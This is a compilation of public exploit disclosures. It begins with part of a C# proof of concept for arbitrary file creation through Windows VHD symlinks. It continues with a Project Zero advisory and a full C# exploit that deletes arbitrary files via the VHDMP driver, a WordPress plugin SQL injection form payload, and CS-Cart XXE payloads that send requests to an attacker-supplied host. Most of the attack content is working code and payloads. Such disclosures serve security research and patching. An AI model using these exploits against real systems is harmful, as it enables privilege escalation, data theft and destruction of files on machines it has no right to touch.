            ps.Version = CreateVirtualDiskVersion.Version1;
            ps.SectorSizeInBytes = 512;
            ps.MaximumSize = 100 * 1024 * 1024;
            IntPtr hDisk;
            int error = CreateVirtualDisk(ref vhd_type, path, VirtualDiskAccessMask.All, null, CreateVirtualDiskFlag.None, 0, ref ps, IntPtr.Zero, out hDisk);
            if (error != 0)
            {
                throw new Win32Exception(error);
            }

            return new SafeFileHandle(hDisk, true);
        }

        enum SetVirtualDiskInfoVersion
        {
            Unspecified = 0,
            ParentPath = 1,
            Identified = 2,
            ParentPathWithDepth = 3,
            PhysicalSectionSize = 4,
            VirtualDiskId = 5,
            ChangeTrackingState = 6,
            ParentLocator = 7,
        }        

        [StructLayout(LayoutKind.Sequential)]
        struct SetVirtualDiskInfo
        {
            public SetVirtualDiskInfoVersion Version;
            [MarshalAs(UnmanagedType.Bool)]
            public bool ChangeTrackingEnabled;
        }

        [DllImport("virtdisk.dll", CharSet = CharSet.Unicode)]
        static extern int SetVirtualDiskInformation(
            SafeFileHandle VirtualDiskHandle,
            ref SetVirtualDiskInfo VirtualDiskInfo
        );

        static List<SafeKernelObjectHandle> CreateChainForPath(string path)
        {
            string[] parts = path.Split('\\');
            List<SafeKernelObjectHandle> ret = new List<SafeKernelObjectHandle>();
            SafeKernelObjectHandle curr = CreateDirectory(null, null);
            ret.Add(curr);
            foreach (string part in parts)
            {
                curr = CreateDirectory(curr, part);
                ret.Add(curr);
            }

            return ret;
        }
        

        static void Main(string[] args)
        {
            try
            {
                string vhd_path = Path.GetFullPath("test.vhd");
                File.Delete(vhd_path);
                File.Delete(vhd_path + ".rct");
                File.Delete(vhd_path + ".mrt");

                Console.WriteLine("[INFO]: Creating VHD {0}", vhd_path);
                
                List<SafeKernelObjectHandle> chain = CreateChainForPath(Path.GetDirectoryName(vhd_path));
                SafeKernelObjectHandle rct_symlink = CreateSymbolicLink(chain.Last(), Path.GetFileName(vhd_path) + ".rct", @"\SystemRoot\abc.txt");
                SafeKernelObjectHandle mrt_symlink = CreateSymbolicLink(chain.Last(), Path.GetFileName(vhd_path) + ".mrt", @"\SystemRoot\xyz.txt");

                using (SafeFileHandle handle = CreateVHD(vhd_path))
                {
                    // Write dummy files for when the kernel impersonates us (and kills the per-process device map)
                    File.WriteAllBytes(vhd_path + ".rct", new byte[0]);
                    File.WriteAllBytes(vhd_path + ".mrt", new byte[0]);
                    SetVirtualDiskInfo disk_info = new SetVirtualDiskInfo();
                    disk_info.Version = SetVirtualDiskInfoVersion.ChangeTrackingState;
                    disk_info.ChangeTrackingEnabled = true;
                    SetDosDirectory(chain.First());
                    int error = SetVirtualDiskInformation(handle, ref disk_info);
                    chain[1].Close();
                    if (error != 0)
                    {
                        throw new Win32Exception(error);
                    }
                }

                if (!File.Exists(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "abc.txt")))
                {
                    Console.WriteLine("[ERROR]: Didn't create arbitrary file");
                }
                else
                {
                    Console.WriteLine("[SUCCESS]: Created arbitary file");
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine("[ERROR]: {0}", ex.Message);
            }
        }
    }
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=915

Windows: VHDMP ZwDeleteFile Arbitrary File Deletion EoP
Platform: Windows 10 10586 and 14393. No idea about 7 or 8.1 versions.
Class: Elevation of Privilege

Summary:
The VHDMP driver doesn’t safely delete files leading to arbitrary file deletion which could result in EoP.

Description:

The VHDMP driver is used to mount VHD and ISO files so that they can be accessed as a normal mounted volume. There are numerous places where the driver calls ZwDeleteFile without specifying OBJ_FORCE_ACCESS_CHECK. This can be abused to delete any arbitrary file or directory on the filesystem by abusing symbolic links to redirect the delete file name to an arbitrary location. Also due to the behaviour of ZwDeleteFile we also don’t need to play games with the DosDevices directory or anything like that, the system call opens the target file without specifying FILE_DIRECTORY_FILE or FILE_NON_DIRECTORY_FILE flags, this means it’s possible to use a mount point even to redirect to a file due to the way reparsing works in the kernel.

Some places where ZwDeleteFile is called (based on 10586 x64 vhdmp.sys) are:

VhdmpiDeleteRctFiles
VhdmpiCleanupFileWrapper
VhdmpiInitializeVhdSetExtract
VhdmpiCtCreateEnableTrackingRequest
VhdmpiMultiStageSwitchLogFile
VhdmpiApplySnapshot
And much much more.

You get the idea, as far as I can tell none of these calls actually pass OBJ_FORCE_ACCESS_CHECK flag so all would be vulnerable (assuming you can specify the filename suitably). Note this doesn’t need admin rights as we never mount the VHD. However you can’t use it in a sandbox as opening the drive goes through multiple access checks.

While deleting files/directories might not seem to be too important you can use it to delete files in ProgramData or Windows\Temp which normally are OWNER RIGHTS locked to the creator. This could then be recreated by the user due to default DACLs and abuse functionality of other services/applications. 

Proof of Concept:

I’ve provided a PoC as a C# source code file. You need to compile with .NET 4 or higher. It will delete an arbitrary file specified on the command line. It abuses the fact that during VHD creation the kernel will delete the .rct/.mrt files (this limits the poc to Win10 only). So we drop a test.vhd.rct mount point pointing at the target into the same directory and call create.

1) Compile the C# source code file.
2) Execute the poc on Win 10 passing the path to the file to delete. It will check that the file is present and can’t be deleted.
3) It should print that it successfully deleted the file

Expected Result:
The target file isn’t deleted, the VHD creation fails.

Observed Result:
The target file is deleted.
*/

using Microsoft.Win32.SafeHandles;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;

namespace DfscTest
{
    class Program
    {
        enum StorageDeviceType
        {
            Unknown = 0,
            Iso = 1,
            Vhd = 2,
            Vhdx = 3,
            VhdSet = 4,
        }

        [StructLayout(LayoutKind.Sequential)]
        struct VirtualStorageType
        {
            public StorageDeviceType DeviceId;
            public Guid VendorId;
        }

        enum OpenVirtualDiskFlag
        {
            None = 0,
            NoParents = 1,
            BlankFile = 2,
            BootDrive = 4,
            CachedIo = 8,
            DiffChain = 0x10,
            ParentcachedIo = 0x20,
            VhdSetFileOnly = 0x40,
        }

        enum CreateVirtualDiskVersion
        {
            Unspecified = 0,
            Version1 = 1,
            Version2 = 2,
            Version3 = 3,
        }
            
        [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
        struct CreateVirtualDiskParameters
        {
            public CreateVirtualDiskVersion Version;
            public Guid UniqueId;
            public ulong MaximumSize;
            public uint BlockSizeInBytes;
            public uint SectorSizeInBytes;
            public uint PhysicalSectorSizeInBytes;
            [MarshalAs(UnmanagedType.LPWStr)]
            public string ParentPath;
            [MarshalAs(UnmanagedType.LPWStr)]
            public string SourcePath;
            // Version 2 on
            public OpenVirtualDiskFlag OpenFlags;
            public VirtualStorageType ParentVirtualStorageType;
            public VirtualStorageType SourceVirtualStorageType;
            public Guid ResiliencyGuid;
            // Version 3 on
            [MarshalAs(UnmanagedType.LPWStr)]
            public string SourceLimitPath;
            public VirtualStorageType BackingStorageType;
        }

        enum VirtualDiskAccessMask
        {
            None = 0,
            AttachRo = 0x00010000,
            AttachRw = 0x00020000,
            Detach = 0x00040000,
            GetInfo = 0x00080000,
            Create = 0x00100000,
            MetaOps = 0x00200000,
            Read = 0x000d0000,
            All = 0x003f0000
        }

        enum CreateVirtualDiskFlag
        {
            None = 0x0,
            FullPhysicalAllocation = 0x1,
            PreventWritesToSourceDisk = 0x2,
            DoNotcopyMetadataFromParent = 0x4,
            CreateBackingStorage = 0x8,
            UseChangeTrackingSourceLimit = 0x10,
            PreserveParentChangeTrackingState = 0x20,
        }        

        [DllImport("virtdisk.dll", CharSet=CharSet.Unicode)]
        static extern int CreateVirtualDisk(
            [In] ref VirtualStorageType VirtualStorageType,
            string Path,
            VirtualDiskAccessMask        VirtualDiskAccessMask,
            [In] byte[] SecurityDescriptor,
            CreateVirtualDiskFlag        Flags,
            uint ProviderSpecificFlags,
            [In] ref CreateVirtualDiskParameters Parameters,
            IntPtr  Overlapped,
            out IntPtr Handle
        );

        static Guid GUID_DEVINTERFACE_SURFACE_VIRTUAL_DRIVE = new Guid("2E34D650-5819-42CA-84AE-D30803BAE505");
        static Guid VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT = new Guid("EC984AEC-A0F9-47E9-901F-71415A66345B");

        static SafeFileHandle CreateVHD(string path)
        {
            VirtualStorageType vhd_type = new VirtualStorageType();
            vhd_type.DeviceId = StorageDeviceType.Vhd;
            vhd_type.VendorId = VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT;

            CreateVirtualDiskParameters ps = new CreateVirtualDiskParameters();
            ps.Version = CreateVirtualDiskVersion.Version1;
            ps.SectorSizeInBytes = 512;
            ps.MaximumSize = 100 * 1024 * 1024;
            IntPtr hDisk;
            int error = CreateVirtualDisk(ref vhd_type, path, VirtualDiskAccessMask.All, null, CreateVirtualDiskFlag.None, 0, ref ps, IntPtr.Zero, out hDisk);
            if (error != 0)
            {
                throw new Win32Exception(error);
            }

            return new SafeFileHandle(hDisk, true);
        }
        
        static void Main(string[] args)
        {
            try
            {
                if (args.Length < 1)
                {
                    Console.WriteLine(@"[USAGE]: poc file\to\delete");
                    Environment.Exit(1);
                }

                string delete_path = Path.GetFullPath(args[0]);

                if (!File.Exists(delete_path))
                {
                    Console.WriteLine("[ERROR]: Specify a valid file to delete");
                    Environment.Exit(1);
                }

                try
                {
                    File.Delete(delete_path);
                    Console.WriteLine("[ERROR]: Could already delete file, choose one which you normally can't delete");
                    Environment.Exit(1);
                }
                catch
                {                    
                }

                string vhd_path = Path.GetFullPath("test.vhd");
                File.Delete(vhd_path);
                try
                {
                    Directory.Delete(vhd_path + ".rct");
                }
                catch
                {
                }

                Console.WriteLine("[INFO]: Creating VHD {0}", vhd_path);
                string cmdline = String.Format("/C mklink /J \"{0}.rct\" \"{1}\"", vhd_path, args[0]);
                ProcessStartInfo start_info = new ProcessStartInfo("cmd", cmdline);
                start_info.UseShellExecute = false;

                Process p = Process.Start(start_info);
                p.WaitForExit();
                if (p.ExitCode != 0)
                {
                    Console.WriteLine("[ERROR]: Can't create symlink");
                    Environment.Exit(1);
                }
                
                using (SafeFileHandle handle = CreateVHD(vhd_path))
                {
                }

                if (File.Exists(delete_path))
                {
                    Console.WriteLine("[ERROR]: Didn't delete arbitrary file");
                }
                else
                {
                    Console.WriteLine("[SUCCESS]: Deleted arbitary file");
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine("[ERROR]: {0}", ex.Message);
            }
        }
    }
}
            
# Exploit Title: Answer My Question 1.3 Plugin for WordPress – Sql Injection
# Date: 10/11/2016
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/answer-my-question/
# Software Link: https://wordpress.org/plugins/answer-my-question/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 1.3
# Tested on: Windows 8.1

1 - Description

$_POST['id'] is not escaped. Url is accessible for any user.

http://lenonleite.com.br/en/blog/2016/11/11/answer-my-question-1-3-plugin-for-wordpress-sql-injection/

2 - Proof of Concept

<form method="post" action="http://localhost:1406/wp/wp-content/plugins/answer-my-question/modal.php">
    <input type="text" name="id" value="0 UNION SELECT 1,2,3,4,5,6,slug,term_group,name,10,11,12 FROM wp_terms WHERE term_id=1">
    <input type="submit" value="Send">
</form>

3. Solution


-- 
Atenciosamente

Lenon Leite
            
# Software : CS-Cart <= 4.3.10
# Vendor home : cs-cart.com
# Author : Ahmed Sultan (@0x4148)
# Home : 0x4148.com
# Email : 0x4148@gmail.com
# Tested on : apache on windoes with php 5.4.4 / apache on linux with php <5.2.17

From vendor site
CS-Cart is an impressive platform for users to any level of eCommerce
experience.
With loads of features at a great price, CS-Cart is a great shopping cart
solution that will quickly enable your online store to do business.

XXE I : Twimgo addon
app/addons/twigmo/Twigmo/Api/ApiData.php
Line 131
public static function parseDocument($data, $format =
TWG_DEFAULT_DATA_FORMAT)
{
if ($format == 'xml') {
$result = @simplexml_load_string($data, 'SimpleXMLElement',
LIBXML_NOCDATA);
return self::getObjectAsArray($result);
} elseif ($format == 'jsonp') {
return (array) json_decode($data, true);
} elseif ($format == 'json') {
return (array) json_decode($data, true);
}

return false;
}
POC
<?php
$xml="
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM 'http://YOUR_HOST/0x4148.jnk' >]>
<document>
<Author>Ahmed sultan (0x4148)</Author>
<killit>&xxe;</killit>
</document>
";
echo rawurlencode(base64_encode($xml));
?>

change YOUR_HOST to your server address , use the output in the following
POST request
Action -> HOST/cs-cart/index.php?dispatch=twigmo.post
Data -> action=add_to_cart&data=DATA_OUT_PUT_HERE&format=xml
a GET request will be sent to your webserver from the vulnerable host
indicating successful attack
(Require twimgo addon to be activated)

XXE II : Amazon payment
File : app/payments/amazon/amazon_callback.php
Line 16
use Tygh\Registry;

if (!defined('BOOTSTRAP')) { die('Access denied'); }

include_once (Registry::get('config.dir.payments') .
'amazon/amazon_func.php');

fn_define('AMAZON_ORDER_DATA', 'Z');

if (!empty($_POST['order-calculations-request'])) {
$xml_response = $_POST['order-calculations-request'];

} elseif (!empty($_POST['NotificationData'])) {
$xml_response = $_POST['NotificationData'];
}

if (!empty($_POST['order-calculations-error'])) {
// Process the Amazon callback error
$xml_error = $_POST['order-calculations-error'];
$xml = @simplexml_load_string($xml_error);
if (empty($xml)) {
$xml = @simplexml_load_string(stripslashes($xml_error));
}

// Get error message
$code = (string) $xml->OrderCalculationsErrorCode;
$message = (string) $xml->OrderCalculationsErrorMessage;

POC
sending POST request to
app/payments/amazon/amazon_checkout.php
setting POST parameter order-calculations-request to
<?xml version='1.0'?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://host/amazon.jnk" >]>
<document>
<Author>Ahmed sultan (0x4148)</Author>
<killit>%26xxe%3b</killit>
</document>

Will result in an GET request to your host from the vulnerable machine ,
indicating successful attack
(Require amazon payment method to be activated)


Disclosure time line
10/11 vulnerabilities reported to the vendor
11/11 Vendor asked for extra details
12/11 Vendor acknowledged the validity of vulnerabilities and asked for
time to fix
16/11 vendor permitted public release

Reference
https://0x4148.com/2016/11/10/cs-cart/